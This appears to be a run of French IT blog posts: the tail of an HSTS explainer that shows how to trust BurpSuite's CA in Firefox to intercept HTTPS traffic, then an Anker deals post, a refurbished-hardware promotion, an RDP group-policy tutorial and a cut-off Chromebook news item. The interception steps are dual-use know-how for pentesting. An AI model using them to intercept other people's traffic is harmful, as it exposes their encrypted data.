<figure id="attachment_34315" aria-describedby="caption-attachment-34315" style="width: 708px" class="wp-caption aligncenter"><a href="media/20372c8c.HSTS-01.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/HSTS-01.jpg"><img class="size-full wp-image-34315" src="media/20372c8c.HSTS-01.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/HSTS-01.jpg" alt="" width="708" height="295" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/HSTS-01.jpg 708w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/HSTS-01-550x229.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/HSTS-01-150x63.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/HSTS-01-160x67.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/HSTS-01-50x21.jpg 50w" sizes="(max-width: 708px) 100vw, 708px" /></a><figcaption id="caption-attachment-34315" class="wp-caption-text"><br />Implémentation du HTTP Strict-Transport-Security dans une entête réponse d'un serveur web</figcaption></figure>
<p>Ici, la directive "<strong>includeSubDomains</strong>", permet de protéger également les sous-domaines avec HSTS, la directive "<strong>max-age</strong>" permet d'indiquer pour combien de temps à partir de la réception de cette réponse les "<em>règles</em>" HSTS sont à respecter pour le navigateur. Dans le contexte de l'exemple, le navigateur n'acceptera pas d'effectuer une requête en HTTP jusqu'à 31536000 secondes après la réception de cette réponse. Au delà, la directive HSTS sera "oubliée" et le navigateur acceptera d'effectuer des requêtes HTTP ou de proposer la validation d'un certificat auto-signé.</p>
<p>Pour cette raison, la directive HSTS est généralement incluse dans chaque réponse du serveur web, et non pas juste la première de l'échange.</p>
<p><strong>Et la directive preload ?</strong></p>
<p>Parlons un peu du "<em>preload</em>" au niveau HSTS. Si l'on analyse bien la situation, un navigateur qui n'a jamais fait de requête vers le site <em>abcd.fr</em> ne sait pas si celui-ci utilise HSTS ou non, il est donc susceptible d'y faire une requête via un canal non sécurisé (HTTP ou certificat Auto-signé). Les navigateurs ont alors mis en place une "<em>preload list</em>" intégrée aux navigateurs, qui savent alors si, pour un site donné, ceux-ci doivent utiliser HSTS ou non. Concrètement, il s'agit d'une liste "<em>hard-codée</em>" que l'on trouve dans les navigateurs, à l'image des autorités de certification. Pour information, il est possible d'inscrire sont site à cette preload list ici : <a href="https://hstspreload.appspot.com/" target="_blank" rel="noopener noreferrer">https://hstspreload.appspot.com/</a>.</p>
<p>e lien amène vers la liste gérée pour le navigateur Chrome, cette liste est elle même incluse dans la preload-list des navigateur concurrents.</p>
<p>Sachez toutefois que tous les navigateurs ne prennent pas en charge HSTS, voici une liste, récupérée au moment de l'écriture de cette article, qui détaille les navigateurs et versions compatibles :<br />
<a href="media/415cc35d.HSTS-02.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/HSTS-02.jpg"><img class="aligncenter size-large wp-image-34314" src="media/27ba0ae0.HSTS-02-800x196.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/HSTS-02-800x196.jpg" alt="" width="800" height="196" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/HSTS-02-800x196.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/HSTS-02-550x135.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/HSTS-02-150x37.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/HSTS-02-768x188.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/HSTS-02-160x39.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/HSTS-02-50x12.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/HSTS-02.jpg 1264w" sizes="(max-width: 800px) 100vw, 800px" /></a><br />
Concrètement, le <a href="https://tools.ietf.org/html/rfc6797#page-31" target="_blank" rel="noopener noreferrer">RFC  697 HTTP Strict Transport Security (HSTS)</a> de novembre 2012 ne fait pas mention de la présence de la directive "<em>preload</em>" dans le header HTTP réponse du serveur, son rôle n'est donc pas clair et je suis preneur d'informations à ce sujet 🙂</p>
<p><strong>Le cas BurpSuite + HSTS</strong></p>
<p>Lorsque l'on utilise BurpSuite pour le deboggage ou lors d'un test d'intrusion web, il est possible de rencontre un problème si le site web visé implémente HSTS. Plus précisément, un problème de ce type (cas burpSuite + google.fr) :<br />
<a href="media/1f038afc.HSTS-Firefox-Google.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/HSTS-Firefox-Google.jpg"><img class="aligncenter size-large wp-image-34313" src="media/3013f540.HSTS-Firefox-Google-800x578.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/HSTS-Firefox-Google-800x578.jpg" alt="" width="800" height="578" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/HSTS-Firefox-Google-800x578.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/HSTS-Firefox-Google-550x397.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/HSTS-Firefox-Google-150x108.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/HSTS-Firefox-Google-768x554.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/HSTS-Firefox-Google-160x116.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/HSTS-Firefox-Google-50x36.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/HSTS-Firefox-Google.jpg 892w" sizes="(max-width: 800px) 100vw, 800px" /></a><br />
Ici, et pour ceux qui ont bien compris les notions précédentes de cet article, le message est clair : <strong>HSTS est implémenté pour le site visité et Firefox ne peut établir de connexion dans un contexte non sécurisé</strong> (pas en https OU avec un certificat non signé par une autorité de certification de confiance).</p>
<p>Pour saisir pourquoi ce problème peut survenir dans les cas d'utilisation d'un proxy, il faut revoir rapidement le fonctionnement du proxy dans un contexte HTTPS.</p>
<blockquote><p><strong>Note</strong> : Ce contexte peut apparaitre dans le cas d'un Proxy SSL web, qui vise alors le trafic des utilisateur vers internet, ou alors un proxy "<em>local</em>" type BurpSuite ou similaire.</p></blockquote>
<p>Lorsque l'on fait passer un trafic auprès d'un outil capable de l'analyse (Proxy/sniffeur réseau), aucun problème n'est à traiter lorsque celui-ci est en clair. Cependant, lorsque ce trafic est chiffré (via SSL, donc en HTTPS dans un contexte web), l'outil qui s'interpose entre le client et le serveur membre de la communication n'est plus capable de comprendre ce qui passe sur le réseau.</p>
<p>Afin de pouvoir comprendre ce trafic chiffrer, un proxy ou un analyseur réseau doit s'interposer également dans l'échange chiffré de la manière suivante :</p>
<p><a href="media/acdc3ffd.HSTS-schema.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/HSTS-schema.jpg"><img class="aligncenter size-large wp-image-34312" src="media/266c5847.HSTS-schema-800x275.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/HSTS-schema-800x275.jpg" alt="" width="800" height="275" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/HSTS-schema-800x275.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/HSTS-schema-550x189.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/HSTS-schema-150x51.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/HSTS-schema-768x264.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/HSTS-schema-160x55.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/HSTS-schema-50x17.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/HSTS-schema.jpg 1224w" sizes="(max-width: 800px) 100vw, 800px" /></a><br />
On voit ici que le certificat utilisé entre le serveur et le Proxy (qui intercepte puis retransmet les requêtes des clients web) utilise le certificat signé du serveur web comme le ferait un client web sans présence du proxy. En revanche le trafic entre le client et le proxy utilise le certificat du proxy, ainsi le proxy peut déchiffrer le trafic en provenance et direction du client. Hors, ce certificat est dans la grande majorité des cas auto-signé ou signé par une autorité de certification locale et non inclue dans la liste par défaut des CA dans les navigateurs. Pour cette raison, la présence d'un proxy peut amener les utilisateurs à cet affichage :<br />
<a href="media/13940561.HSTS-02-1.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/HSTS-02-1.jpg"><img class="aligncenter size-full wp-image-34311" src="media/13940561.HSTS-02-1.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/HSTS-02-1.jpg" alt="" width="665" height="573" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/HSTS-02-1.jpg 665w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/HSTS-02-1-550x474.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/HSTS-02-1-150x129.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/HSTS-02-1-160x138.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/HSTS-02-1-50x43.jpg 50w" sizes="(max-width: 665px) 100vw, 665px" /></a>L'utilisateur peut alors valider en tout conscience l’utilisation  d'un certificat signé par une autorité de certification qui n'est pas de confiance (dite "<em>non trustée</em>" en franglais).</p>
<p>C'est là qu'HSTS peut devenir bloquant, nous avons vu qu'en présence d'une implémentation HSTS, <strong>le navigateur doit refuser toute connexion dans un contexte non sécurisé</strong>, hors la présence d'un certificat signé par un CA qui n'est pas de confiance est un cas de figure de transmission non sécurisée. Dans un contexte HSTS, il nous est tout simplement pas autorisé d'ajouter un exception au navigateur, <strong>car cela irait à l'encontre de l'instruction HSTS fixée par le serveur web</strong>.</p>
<p>A noter que d'autres proxys dans le même type que BurpSuite ou même des proxys d'entreprise (Squid) sont aussi concernés.</p>
<p>Il est alors nécessaire de faire croire à notre navigateur que l'autorité de certification qui a signé le certificat utilisé par notre proxy est de confiance, cela en l'ajoutant à notre liste des autorités de certifications (CA) de confiance du navigateur.</p>
<h2>IV. Résoudre le problème de l'HSTS lors de l'utilisation d'un proxy</h2>
<p>Cette manipulation est documentée pour tous les navigateurs, je vous montre néanmoins la manière de procéder pour l'extraction dans BurpSuite et l'ajout dans Firefox :</p>
<p>Il faut commencer par aller récupérer le certificat du CA de BuprSuite, après avoir démarré BurpSuite puis avoir configuré Firefox pour passer au travers celui-ci, il faut saisir "<em>http://burp</em>" dans le navigateur :<br />
<a href="media/df037a2d.burpsuite-firefox-01.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/burpsuite-firefox-01.jpg"><img class="aligncenter size-large wp-image-34310" src="media/b5ce4580.burpsuite-firefox-01-800x152.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/burpsuite-firefox-01-800x152.jpg" alt="" width="800" height="152" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/burpsuite-firefox-01-800x152.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/burpsuite-firefox-01-550x105.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/burpsuite-firefox-01-150x29.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/burpsuite-firefox-01-768x146.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/burpsuite-firefox-01-160x30.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/burpsuite-firefox-01-50x10.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/burpsuite-firefox-01.jpg 1013w" sizes="(max-width: 800px) 100vw, 800px" /></a><br />
Ensuite, il faut cliquer sur "<em>CA Certificat</em>" puis télécharger le fichier "<em>cacert.der</em>" :</p>
<p><a href="media/474a5c64.burpsuite-firefox-02.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/burpsuite-firefox-02.jpg"><img class="aligncenter size-large wp-image-34309" src="media/50f5ee8d.burpsuite-firefox-02-800x364.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/burpsuite-firefox-02-800x364.jpg" alt="" width="800" height="364" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/burpsuite-firefox-02-800x364.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/burpsuite-firefox-02-550x250.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/burpsuite-firefox-02-150x68.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/burpsuite-firefox-02-768x349.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/burpsuite-firefox-02-160x73.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/burpsuite-firefox-02-50x23.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/burpsuite-firefox-02.jpg 937w" sizes="(max-width: 800px) 100vw, 800px" /></a>Ce certificat devra ensuite être  ajouté dans Firefox, pour cela, aller dans "<em>Options</em>", puis dans "<em>Avancé</em>" &gt; "<em>Certificats</em>" &gt; "<em>Afficher les Certificats</em>" &gt; "<em>Autorités</em>" &gt; "<em>Importer</em>", nous allons alors devoir aller chercher le certificat nouvellement exporté de BurpSuite et cocher "<em>Confirmer cette AC pour identifier des sites web.</em>" :</p>
<p><a href="media/fe5a5c44.burpsuite-firefox-04.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/burpsuite-firefox-04.jpg"><img class="aligncenter size-large wp-image-34308" src="media/374552c9.burpsuite-firefox-04-800x448.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/burpsuite-firefox-04-800x448.jpg" alt="" width="800" height="448" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/burpsuite-firefox-04-800x448.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/burpsuite-firefox-04-550x308.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/burpsuite-firefox-04-150x84.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/burpsuite-firefox-04-768x430.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/burpsuite-firefox-04-160x90.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/burpsuite-firefox-04-50x28.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/burpsuite-firefox-04.jpg 1128w" sizes="(max-width: 800px) 100vw, 800px" /></a><br />
Une fois cela fait, Firefox considérera BurpSuite comme une autorité de certification de confiance, en conséquence, les conditions requises pour communiquer avec un site web ayant implémenté HSTS seront satisfaites. Voici un exemple de site possédant une implémentation HSTS dont les flux sont passés au travers BurpSuite :</p>
<p><a href="media/fbd6cb2a.burpsuite-firefox-03.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/burpsuite-firefox-03.jpg"><img class="aligncenter size-large wp-image-34307" src="media/f71021b6.burpsuite-firefox-03-800x439.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/burpsuite-firefox-03-800x439.jpg" alt="" width="800" height="439" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/burpsuite-firefox-03-800x439.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/burpsuite-firefox-03-550x302.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/burpsuite-firefox-03-150x82.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/burpsuite-firefox-03-768x422.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/burpsuite-firefox-03-160x88.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/burpsuite-firefox-03-50x27.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/burpsuite-firefox-03.jpg 1328w" sizes="(max-width: 800px) 100vw, 800px" /></a>Cette procédure peut être opérée sur tous les navigateurs.</p>
<p>Du point de vu sécurité, ce "<em>bypass HSTS</em>" est toutefois difficile à mettre en place si l'on souhaite effectuer une attaque par Man-In-The-Middle, en effet, il faut déjà avoir un accès au poste utilisateur pour effectuer la procédure d'ajout du certificat CA.</p>
<p>Voici une ressource complémentaire sur le fonctionnement et l'implémentation de l’analyse des flux HTTPS en entreprise, des recommandations de l'ANSSI qui détailles comment implémenter un proxy d'entreprise en position Man-In-The-Middle et interceptant le trafic HTTPS : <a href="http://www.ssi.gouv.fr/guide/recommandations-de-securite-concernant-lanalyse-des-flux-https/" target="_blank" rel="noopener noreferrer">Recommandations de sécurité concernant l’analyse des flux HTTPS</a></p>
<p><strong>N'hésitez pas à partager vos recommandations et vos avis dans les commentaires !</strong></p>


feed_id: https://www.it-connect.fr/?p=34731
title: Télétravail : quelques offres chez Anker pour vous équiper !
uri: Télétravail-quelques-offres-chez-Anker-pour-vous-équiper
url: https://www.it-connect.fr/teletravail-quelques-offres-chez-anker-pour-vous-equiper/
content:
<p>Bien que la livraison des colis soit impactée et ralentie par la pandémie du Covid-19, il reste possible de commander du matériel sur Internet. Le fabricant Anker propose des remises intéressantes sur certains de ses produits, en stock chez Amazon, qui sont utiles pour vous équiper à la maison et télé-travailler dans de bonnes conditions.</p>
<p>Au programme, Anker propose des accessoires mais aussi des périphériques, voici une liste des offres. A vous de piocher dans la liste si cela vous intéresse.</p>
<p><strong>- Anker Hub USB-C 5 en 1</strong></p>
<p>Ce hub USB-C contient plusieurs ports afin de connecter vos équipements sur votre ultrabook ou votre PC hybride : HDMI, RJ45 et 3 ports USB 3.0.</p>
<p>Prix d'origine : 35.99€<br />
Offre actuelle : 28,79€ avec -20% via coupon sur Amazon<br />
Lien : <a href="https://amzn.to/2UdkHux">https://amzn.to/2UdkHux</a></p>
<p><strong>- Anker 60W USB-C</strong></p>
<p>Un chargeur mural avec un port USB-C et équipé des technologies PowerIQ 3.0 et GaN pour avoir à la fois les performances et un format compact. La puissance délivrée est de 60 Watts, ce qui est suffisant pour recharger certains ordinateurs portables, vos smartphones et tablettes.</p>
<p>Prix d'origine : 39.99€<br />
Offre actuelle : 26,99€ avec -33% via coupon sur Amazon<br />
Lien : <a href="https://amzn.to/3d2JrhL">https://amzn.to/3d2JrhL</a></p>
<p><strong>- Câble USB-C vers HDMI</strong></p>
<p>Ce câble d'une longueur de 180 cm est une bonne solution pour connecter votre PC à un écran externe supplémentaire, sur la télévision du salon par exemple. Je dis ça, je dis rien.</p>
<p>Prix d'origine : 19.99€<br />
Offre actuelle : 15,99€ avec -20% via coupon sur Amazon<br />
Lien : <a href="https://amzn.to/395jdIk" target="_blank" rel="noopener noreferrer">https://amzn.to/395jdIk</a></p>
<p><strong>- Chargeur sans-fil double base</strong></p>
<p>Pour recharger son smartphone (ou ses smartphones) entre deux appels, un chargeur sans-fil ça peut être bien pratique pour ne pas avoir à s'embêter avec le câble. Attention quand même à ce que votre smartphone soit compatible.</p>
<p>Prix d'origine : 49.99€<br />
Offre actuelle : 39,99€ avec -20% via coupon sur Amazon<br />
Lien : <a href="https://amzn.to/2QqA81j">https://amzn.to/2QqA81j</a></p>
<p><strong>- Anker Nebula Capsule Max</strong></p>
<p>Le picoprojecteur portable, que l'on a pu tester dernièrement, est également en promotion. Un produit intéressant et qui fonctionne sur batterie. Je vous laisse le redécouvrir dans notre test : <a href="https://www.it-connect.fr/test-nebula-capsule-max-le-projecteur-sous-android-qui-tient-dans-la-main/">Test Nebula Capsule Max</a>.</p>
<p>Prix d'origine : 499.99€<br />
Offre actuelle : 399,99€ avec -15% via coupon sur Amazon<br />
Lien : <a href="https://amzn.to/2x5YV3M">https://amzn.to/2x5YV3M</a></p>
<p><strong>- Anker Eufy RoboVac L70</strong></p>
<p>Un autre produit que l'on a testé : l'aspirateur robot Eufy RoboVac L70 avec son système de cartographie. Bien que l'on soit en télétravail, il y a une charge de travail importante au niveau des services informatiques en ce moment, alors c'est l'occasion de vous libérer un peu de temps !</p>
<p>Prix d'origine : 469.99€<br />
Offre actuelle : 399,99€ avec -15% via coupon sur Amazon<br />
Lien : <a href="https://amzn.to/2Ul8KDg">https://amzn.to/2Ul8KDg</a></p>
<p><strong>Ces offres sont valables jusqu'au dimanche 22 mars 2020.</strong></p>


feed_id: https://www.it-connect.fr/?p=34716
title: Quel est l’intérêt d’un matériel informatique reconditionné ?
uri: Quel-est-l-intérêt-d-un-matériel-informatique-reconditionné
url: https://www.it-connect.fr/quel-est-linteret-dun-materiel-informatique-reconditionne/
content:
<p><strong>Si les objets ou outils neufs restent prisés par nombre d'entreprises, sont apparues depuis quelques années des offres de hardwares et de matériels informatiques reconditionnés.</strong> Souvent victime de leur réputation, les objets reconditionnés peuvent parfois être une porte ouverte sur la croissance d'une entreprise. Mais comment et pourquoi, les sociétés devraient-elles se tourner vers ce type de produit ? C'est tout le sujet de cet article.</p>
<h2>Le reconditionnement une méthode simple pour économiser</h2>
<p>L'avantage principal des objets reconditionnés reste leur prix. Souvent 30 à 40% moins cher que le neuf, ils offriront un niveau de performance égal, tout en prodiguant une durée similaire voire plus longue dans le temps.</p>
<p>Des atouts considérables pour les entreprises TPE ou PME, voire multinationale qui souhaite scaler sur certains processus.</p>
<p>C'est notamment le cas dans l'achat de hardware à grande échelle qui peut poser problème notamment au niveau du tarif, pour des produits neufs et de dernière génération. Pour cette raison l'offre de reconditionnement, et d'achat de <a href="https://www.aliternetworks.fr/" target="_blank" rel="noopener dofollow noreferrer">switch reconditionné</a> par exemple constitue une véritable porte ouverte sur un abaissement conséquent des coûts de l'entreprise et de ses investissements. Néanmoins, est-ce vraiment fiable ?</p>
<h2>Une fiabilité à toute épreuve</h2>
<p>Si la démocratisation des offres de reconditionnement a connu un tel essor, c'est avant tout à cause des évolutions inhérentes et techniques des professionnels et des technologies. Plus formés, et plus adaptés à l'offre, les techniciens se sont avérés être de plus en plus capables de restaurer et de réparer chaque appareil informatique présenté à l'entreprise.</p>
<p>Dans cette logique les technologies, ont-elles aussi évolué tout en apportant leur lot de simplification. Autant de point qui a amené les offres de reconditionnement à voir le jour, et à se démocratiser par la suite.</p>
<p>Il est en effet essentiel de comprendre que le secteur a non seulement évoluer quantitativement mais aussi qualitativement. Deux points qui permettent aujourd'hui de fournir du hardware en parfait état de fonctionnement, reconditionné, et au prix de l'occasion. Une véritable opportunité pour nombre d'entreprises.</p>
<h2>Un atout dans le développement durable</h2>
<p>Soumises à de plus en plus de contraintes, les entreprises ont aussi un avantage considérable à se tourner vers les offres de reconditionnement. Non seulement elles abaisseront leurs coûts, mais aussi elles bénéficieront d'avantages conséquents sur le plan admiratif et comptable.</p>
<p>S'inscrivant dans le cadre de la consommation durable, la réutilisation permet aujourd'hui à bon nombre de sociétés de s'engager au côté des particuliers écoresponsables. L'occasion unique pour les entreprises de participer à l'effort citoyen tout en bénéficiant d'avantages sur le plan comptable.</p>
<p>Il reste donc important pour n'importe quel type de société de se tourner vers des produits informatiques reconditionnés, qui permettent non seulement de réduire les coûts, mais de fournir à l'entreprise une image de marque.</p>
<p>S'imposant de plus en plus au cœur des sociétés, l'achat en masse de produits remis à neuf constitue une solution durable pour créer une croissance saine dans des secteurs souvent très concurrentiels. D'autant plus que ces produits bénéficient d'une garantie longue durée, permettant d'être assuré quant à leur longévité dans le temps.</p>
<p>Le seul défaut de ces offres étant les stocks : souvent faible à l'échelle nationale, notamment pour des produits très demandés. En somme les aléas d'un succès qui n'est – aujourd'hui – plus à démontrer.</p>


feed_id: https://www.it-connect.fr/?p=27228
title: GPO : Autoriser un groupe à se connecter en RDP
uri: GPO-Autoriser-un-groupe-à-se-connecter-en-RDP
url: https://www.it-connect.fr/gpo-autoriser-un-groupe-a-se-connecter-en-rdp/
content:
<h2>I. Présentation</h2>
<p>Les admins du domaine et les comptes locaux d'un serveur sont autorisés par défaut à se connecter en Bureau à distance (RDP) sur le serveur. Dans un environnement professionnel, on peut avoir besoin d'autoriser un autre groupe, avec des utilisateurs classiques, à se connecter aux serveurs. En effet, sur un serveur il n'est pas forcément nécessaire d'être connecté en administrateur.</p>
<p>Pour cela, il n'est pas question de passer sur chaque serveur... Bon à la limite s'il y en a deux, trois, pourquoi pas, et encore le fait d'utiliser une GPO permet de forcer la configuration.</p>
<p><strong>Dans ce tutoriel, nous allons voir comment créer une GPO pour autoriser un groupe à se connecter en RDP sur les serveurs.</strong></p>
<h2>II. Attribuer les droits RDP</h2>
<p>Sur votre infrastructure, ouvrez la console de gestion de stratégie de groupe. Créez une nouvelle GPO à l'aide d'un clic droit, par exemple sur l'OU qui contient les serveurs cibles. Cliquez sur "<strong>Créer un objet GPO dans ce domaine, et le lier ici...</strong>".</p>
<p><img class="aligncenter size-full wp-image-27229" src="media/97e1c9f6.gpo-allow-rdp-for-users-01.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2017/12/gpo-allow-rdp-for-users-01.png" alt="" width="500" height="197" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2017/12/gpo-allow-rdp-for-users-01.png 500w, https://www.it-connect.fr/wp-content-itc/uploads/2017/12/gpo-allow-rdp-for-users-01-150x59.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2017/12/gpo-allow-rdp-for-users-01-160x63.png 160w" sizes="(max-width: 500px) 100vw, 500px" /></p>
<p>Donnez un nom à la GPO, et parcourez les paramètres comme cela :</p>
<p><strong>Configuration ordinateur &gt; Stratégies &gt; Paramètres Windows &gt; Paramètres de sécurité &gt; Stratégies locales &gt; Attribution des droits utilisateur</strong></p>
<p><img class="aligncenter size-full wp-image-27231" src="media/00a278d3.gpo-allow-rdp-for-users-03.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2017/12/gpo-allow-rdp-for-users-03.png" alt="" width="402" height="256" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2017/12/gpo-allow-rdp-for-users-03.png 402w, https://www.it-connect.fr/wp-content-itc/uploads/2017/12/gpo-allow-rdp-for-users-03-150x96.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2017/12/gpo-allow-rdp-for-users-03-160x102.png 160w" sizes="(max-width: 402px) 100vw, 402px" /></p>
<p>A l'intérieur, vous allez trouver le paramètre "<strong>Autoriser l'ouverture de session par les services Bureau à distance</strong>".</p>
<p><img class="aligncenter size-full wp-image-27232" src="media/d3f33ea1.gpo-allow-rdp-for-users-04.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2017/12/gpo-allow-rdp-for-users-04.png" alt="" width="536" height="118" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2017/12/gpo-allow-rdp-for-users-04.png 536w, https://www.it-connect.fr/wp-content-itc/uploads/2017/12/gpo-allow-rdp-for-users-04-150x33.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2017/12/gpo-allow-rdp-for-users-04-160x35.png 160w" sizes="(max-width: 536px) 100vw, 536px" /></p>
<p>Ouvrez ce paramètre, et cliquez sur "<strong>Définir ces paramètres de stratégie</strong>" et cliquez sur "<strong>Ajouter un utilisateur ou un groupe</strong>". Ensuite, cliquez sur "<strong>Parcourir</strong>" pour rechercher dans l'annuaire l'objet à ajouter. C'est plus sûr que de saisir le nom directement dans la zone de saisie car il n'y a pas de contrôle de cohérence qui vérifie si le groupe/utilisateur existe vraiment.</p>
<p>Vous pouvez ajouter plusieurs utilisateurs ou groupes, l'avantage d'utiliser un groupe c'est qu'il suffit de l'alimenter ensuite dans l'annuaire Active Directory.</p>
<p><img class="aligncenter size-full wp-image-27233" src="media/9b655b8d.gpo-allow-rdp-for-users-05.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2017/12/gpo-allow-rdp-for-users-05.png" alt="" width="687" height="520" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2017/12/gpo-allow-rdp-for-users-05.png 687w, https://www.it-connect.fr/wp-content-itc/uploads/2017/12/gpo-allow-rdp-for-users-05-150x114.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2017/12/gpo-allow-rdp-for-users-05-550x416.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2017/12/gpo-allow-rdp-for-users-05-160x121.png 160w" sizes="(max-width: 687px) 100vw, 687px" /></p>
<p>Il ne reste plus qu'à valider le paramétrage et d'attendre que la GPO se déploie sur vos serveurs. Ensuite, il faudra tester cette nouvelle configuration ! 🙂</p>


feed_id: https://www.it-connect.fr/?p=34742
title: Works With Chromebook : la certification pour les accessoires Chromebook
uri: Works-With-Chromebook-la-certification-pour-les-accessoires-Chromebo
url: https://www.it-connect.fr/works-with-chromebook-la-certification-pour-les-accessoires-chromebook/
content:
<p><b>Google veut renforcer son écosystème Chromebook qui peut se féliciter de durer dans le temps, en proposant un programme de certification "Works With Chromebook" pour les accessoires 100% compatibles.</b></p>
<p>Dans le même esprit que pour les produits Nest et Pixels avec la certification "<em>Made for Google</em>", il y aura désormais un programme dédié aux Chromebook. Les premiers périphériques qui vont bénéficier de cette certification sont les claviers, les souris et les chargeurs.</p>
